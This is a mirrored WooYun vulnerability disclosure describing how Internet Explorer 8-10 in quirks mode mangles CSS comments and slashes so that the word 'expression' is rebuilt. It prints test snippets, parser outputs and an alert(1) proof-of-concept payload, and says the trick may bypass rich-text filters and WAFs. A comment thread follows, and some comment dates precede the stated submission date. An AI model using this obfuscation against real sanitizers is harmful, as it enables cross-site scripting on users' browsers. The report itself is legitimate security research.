IE CSS解析问题可致新的XSS Vectors

admin 2015年5月1日11:41:23评论324 views字数 235阅读0分47秒阅读模式
摘要

2014-07-17: 细节已通知厂商并且等待厂商处理中
2014-07-20: 厂商已经确认,细节仅向厂商公开
2014-07-23: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-09-13: 细节向核心白帽子及相关领域专家公开
2014-09-23: 细节向普通白帽子公开
2014-10-03: 细节向实习白帽子公开
2014-10-13: 细节向公众公开

漏洞概要 关注数(105) 关注此漏洞

缺陷编号: WooYun-2014-68564

漏洞标题: IE CSS解析问题可致新的XSS Vectors IE CSS解析问题可致新的XSS Vectors

相关厂商: 微软

漏洞作者: gainoverIE CSS解析问题可致新的XSS Vectors

提交时间: 2014-07-17 11:32

公开时间: 2014-10-13 11:34

漏洞类型: 设计错误/逻辑缺陷

危害等级: 高

自评Rank: 12

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

18人收藏


漏洞详情

披露状态:

2014-07-17: 细节已通知厂商并且等待厂商处理中
2014-07-20: 厂商已经确认,细节仅向厂商公开
2014-07-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-09-13: 细节向核心白帽子及相关领域专家公开
2014-09-23: 细节向普通白帽子公开
2014-10-03: 细节向实习白帽子公开
2014-10-13: 细节向公众公开

简要描述:

帮朋友研究如何绕过新浪的富文本过滤器的时候,顺带想写个小工具。
写个小工具的时候,顺带发现了一个意外。
发现了一个意外的时候,就发现了这个。
绝B是个很奇葩的漏洞!

详细说明:

本来是想写一个expression表达式的混淆工具。为了在expression里融入 /**/ 以及 / 等东西,我手工测试时遇到了下面的问题:

code 区域
font-family:exp/**/res/sion(alert(1))    <-- 无法正常执行
font-family:e/xp/**/ression(alert(1)) <-- 可以正常执行

这是一个很奇怪的结果,不知道以前有人遇到过没?

为什么 / 在 /**/ 前面就可以执行,在 /**/后面就不执行了呢?为了研究搞清楚原因,我写了以下的代码来进行测试:

code 区域
<div id="a" style="font-family:e/xp/**/ression(e(1))">aa</div>
<div id="b" style="font-family:exp/**/res/sion(e(1))">aa</div>
<script>
alert(document.getElementById("a").style.cssText);
alert(document.getElementById("b").style.cssText);
</script>

上面的代码的目的是取出IE解析之后的css内容,看看为什么会不执行了,结果比较意外:

code 区域
font-family:e/xp/**/ression(e(1))  --> font-family:expression(e(1)) <-正常
font-family:exp/**/res/sion(e(1)) --> font-family:resression(e(1)) <-怪异

你会发现后者, /**/之前的内容被忽略, /之前的内容神奇的出现了2次。

虽然很神奇,但是这个特性并不能被利用。

但是,直觉告诉我,这个位置会有点什么!

IE CSS解析问题可致新的XSS Vectors

前面翻译过一篇mXSS的文章,其中就有关于css里一些奇葩mutation,比如单引号,双引号什么的。

所以,接着我又改变了测试的代码如下:

code 区域
<div id="b" style="font-family:exp/**/res'aaaa/sion(e(1))">aa</div>
<script>
alert(document.getElementById("b").style.cssText);
</script>

注意这个单引号(后经测试,实际上其它绝大多数符号都有一样的效果),这一次又神奇了,解析后的cssText内容如下:

code 区域
font-family:aaaares'aaaasion(e(1))

也就是单引号之后,/之前的内容(即:aaaa)神奇的跑到res前面了!

这一次的这个特性,就感觉可以被利用了,构造以下内容

code 区域
<div id="b" style="font-family:a/**/ression'exp/s(e(1))">aa</div>
解析后的cssText应是:
font-family:expression'exps(e(1))

可以看到,我们的原代码里没有expression这个词汇,解析后的css中出现了expression这个单词。

为了继续让expression可以被利用,我们可以继续构造:

code 区域
<div id="b" style="font-family:a/**/ression(alert(1))('/')exp/')">aa</div>
解析后的cssText应是:
font-family:expression(alert(1))('/')exps') <--单引号正好

可以看到解析后的css中alert(1)将会被执行。

漏洞证明:

保存以下代码为test.htm, IE打开

code 区域
<div id="b" style="font-family:a/**/ression(alert(1))('/')exp/')">aa</div>

<script>
alert(document.getElementById("b").style.cssText);
</script>

IE 8,9,10 quirks mode,局限性,对于设置了doctype的网页,将无法生效,可以结合一些让页面以quirks mode加载的技巧来实现一些利用。

对于一些富文本过滤器,或者WAF,可能存在绕过风险。由于代码利用中存在/**/ 和 /,这2个东西在CSS里本身就有点“臭”,经常是被过滤的对象(一个常见的过滤方式是css里存在/**/就直接把css置空)。可以考虑结合html实体转义来配合利用。

不论如何,还是很奇葩的,也许还可以利用这个特性干些其他的,也不一定~

修复方案:

很诚实的说:不知道。。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-07-20 08:14

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-07-15 11:32 | zeracker IE CSS解析问题可致新的XSS Vectors ( 普通白帽子 | Rank:1077 漏洞数:134 | 爱吃小龙虾。)

    1

    沙发

  2. 2014-07-15 11:33 | 浩天 IE CSS解析问题可致新的XSS Vectors ( 普通白帽子 | Rank:925 漏洞数:80 | 哈!躁起来!)

    0

    抢我座位

  3. 2014-07-15 11:34 | redsin ( 路人 | Rank:16 漏洞数:6 )

    0

    坐等IE CSS解析问题可致新的XSS Vectors-2

  4. 2014-07-15 11:37 | xfkxfk IE CSS解析问题可致新的XSS Vectors ( 核心白帽子 | Rank:2341 漏洞数:341 | 呵呵!)

    0

    会载入史册么?

  5. 2014-07-15 11:38 | noob ( 实习白帽子 | Rank:85 漏洞数:14 | 向各位大神学习,向各位大神致敬)

    0

    占座 卖广告

  6. 2014-07-15 11:39 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

    0

    二哥你又来了。你一来就发大招……

  7. 2014-07-15 11:45 | wkc_2014 ( 普通白帽子 | Rank:172 漏洞数:40 | 2014-)

    0

    靠,本来能抢前排的,电脑给特么死机了

  8. 2014-07-15 11:49 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:86 )

    0

    @gainover 影响IE全版本么?

  9. 2014-07-15 11:52 | phith0n IE CSS解析问题可致新的XSS Vectors ( 普通白帽子 | Rank:834 漏洞数:126 | 一个想当文人的黑客~)

    0

    前排饮料、爆米花

  10. 2014-07-15 11:54 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:23 | http://tieba.baidu.com/f?kw=WOW)

    0

    安利产品了解一下?

  11. 2014-07-15 12:02 | Noxxx ( 普通白帽子 | Rank:720 漏洞数:43 )

    0

    小板凳 汽水

  12. 2014-07-15 12:02 | gainover IE CSS解析问题可致新的XSS Vectors ( 普通白帽子 | Rank:1805 漏洞数:97 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    0

    @mramydnei css里的,IE11肯定是不行咯。前面的版本,quirks文档模式触发

  13. 2014-07-15 12:11 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)

    0

    二哥又出来了

  14. 2014-07-15 12:17 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

    0

    围观大神

  15. 2014-07-15 12:22 | 从容 ( 普通白帽子 | Rank:415 漏洞数:96 | 哇啦啦啦啦啦 我的宝贝 | ..)

    0

    后排卖301果照

  16. 2014-07-15 12:31 | 梧桐雨 IE CSS解析问题可致新的XSS Vectors ( 核心白帽子 | Rank:1662 漏洞数:191 | 学无止境)

    0

    @gainover = =quirks 似乎留下不少坑呢。

  17. 2014-07-15 12:57 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:166 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    0

    @gainover 那个朋友现在排在第五吧?唉,头疼

  18. 2014-07-15 13:39 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999 ...)

    0

    占位 占位~

  19. 2014-07-15 13:42 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    0

    关注!

  20. 2014-07-15 14:02 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:41 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    0

    关注下~~

  21. 2014-07-15 14:12 | Undoit ( 普通白帽子 | Rank:167 漏洞数:25 | 打酱油)

    0

    顺带

  22. 2014-07-15 14:58 | Ev1l ( 实习白帽子 | Rank:68 漏洞数:18 | 问题真实存在但影响不大。联系邮箱security...)

    0

    火钳刘明,我昨天还在想css能不能导致xss,今天出来了~Mark下 @基佬

  23. 2014-07-15 14:59 | Ev1l ( 实习白帽子 | Rank:68 漏洞数:18 | 问题真实存在但影响不大。联系邮箱security...)

    0

    前排占座饮料爆米花 广告位

  24. 2014-07-15 15:24 | 香草 ( 普通白帽子 | Rank:103 漏洞数:15 | javascript,xss,jsp、aspx)

    0

    二哥的洞期期必看

  25. 2014-07-15 16:23 | lxj616 ( 普通白帽子 | Rank:455 漏洞数:92 | 来自喵星的太空喵)

    0

    ....谢..谢.....谢.谢..... .....谢..谢....谢..谢.... ......谢..谢..谢.谢.谢.... .....谢......... 谢.... ...谢.............谢... ..谢...............谢.. .谢.................谢. 谢...................谢 谢....................谢 谢.....∩.......∩......谢 谢. ..................谢 谢. ...◎....U....◎....谢 .谢.................谢. ..谢谢.............谢谢.. ....谢.谢.谢.谢.谢.谢.谢... ...谢.............谢.... ...谢.............谢.... ....谢...........谢.....

  26. 2014-07-15 16:24 | lxj616 ( 普通白帽子 | Rank:455 漏洞数:92 | 来自喵星的太空喵)

    0

    好吧 字符画乱掉了

  27. 2014-07-15 16:32 | 乐乐、 ( 普通白帽子 | Rank:878 漏洞数:133 )

    0

    @lxj616 楼上的 你400多R 为什么是实习白帽子

  28. 2014-07-15 16:37 | lxj616 ( 普通白帽子 | Rank:455 漏洞数:92 | 来自喵星的太空喵)

    0

    @乐乐、 孩子,你还小,等你长大就明白了

  29. 2014-07-15 16:48 | f4ckbaidu ( 普通白帽子 | Rank:265 漏洞数:29 | 开发真是日了狗了)

    0

    mark

  30. 2014-07-15 17:04 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    无影响厂商忽略(WooYun 评价 8rank)

  31. 2014-07-15 17:14 | Ares ( 路人 | Rank:29 漏洞数:8 | 来自幼儿园大班)

    0

    你关注的白帽子 gainover 发表了漏洞 IE CSS解析问题可致新的XSS Vectors

  32. 2014-07-15 17:16 | 乐乐、 ( 普通白帽子 | Rank:878 漏洞数:133 )

    0

    @lxj616 孩子 你被潜规则了嘛

  33. 2014-07-15 17:42 | Mr .LZH ( 普通白帽子 | Rank:622 漏洞数:78 | 非妹子勿扰···)

    0

    这下好玩了

  34. 2014-07-15 18:03 | 过客 ( 实习白帽子 | Rank:42 漏洞数:13 )

    0

    叼炸天

  35. 2014-07-15 18:23 | 小火苗 ( 路人 | Rank:6 漏洞数:1 | 我是一只小火苗呀,春风吹又生呀...)

    0

    微软中国会不会来认领?

  36. 2014-07-15 18:44 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:166 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    0

    @小火苗 你想多了

  37. 2014-07-15 19:15 | 卡卡 ( 普通白帽子 | Rank:468 漏洞数:57 | <script>alert('安全团队长期招人')</scrip...)

    0

    我一打开这个界面,电脑就黑了,二哥你果然是黑客

  38. 2014-07-15 19:36 | 橘子 ( 路人 | Rank:0 漏洞数:3 | 呢个.....)

    0

    占个座卖水果

  39. 2014-07-15 22:30 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    0

    我一打开这个界面,电脑就黑了,二哥你果然是黑客

  40. 2014-07-16 22:08 | mlyKnown ( 路人 | Rank:2 漏洞数:1 | 咚咚咚咚,查水表啦。)

    0

    二哥,你果然是黑客

  41. 2014-07-20 11:13 | 马化腾 ( 路人 | Rank:14 漏洞数:2 | 动词大呲咚呲哒呲)

    0

    我一打开这个界面,电脑就黑了,二哥你果然是黑客

  42. 2014-07-20 14:32 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    。。。被确认了?微软入驻乌云了?

  43. 2014-08-29 12:43 | zhxs ( 实习白帽子 | Rank:69 漏洞数:26 | 不是你不行、只是路不平ฏ๎๎๎๎๎๎๎๎...)

    0

    膜拜大牛...

  44. 2014-09-02 15:13 | LaiX ( 普通白帽子 | Rank:130 漏洞数:40 | SAINTSEC)

    0

    微软确认了??

  45. 2014-09-06 22:14 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)

    0

    @px1624 @LaiX 已交由第三方厂商(cncert国家互联网应急中心)处理

  46. 2014-09-12 11:42 | 大亮 ( 普通白帽子 | Rank:386 漏洞数:68 | 小段子手)

    0

    本以为二哥是一个开始脱发,大腹便便的胖子,看到真人没想到那么帅

  47. 2014-10-13 11:51 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    0

    二哥厉害,ie骗我,说ie8以后就不支持expression

  48. 2014-10-13 13:20 | MARCH0 ( 实习白帽子 | Rank:50 漏洞数:11 | 求实习)

    0

    生物大神

  49. 2014-10-13 15:59 | 老妖 ( 路人 | Rank:22 漏洞数:3 )

    0

    楼主厉害

  50. 2015-02-13 19:42 | 随随意意 ( 普通白帽子 | Rank:175 漏洞数:36 )

    0

    额,

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin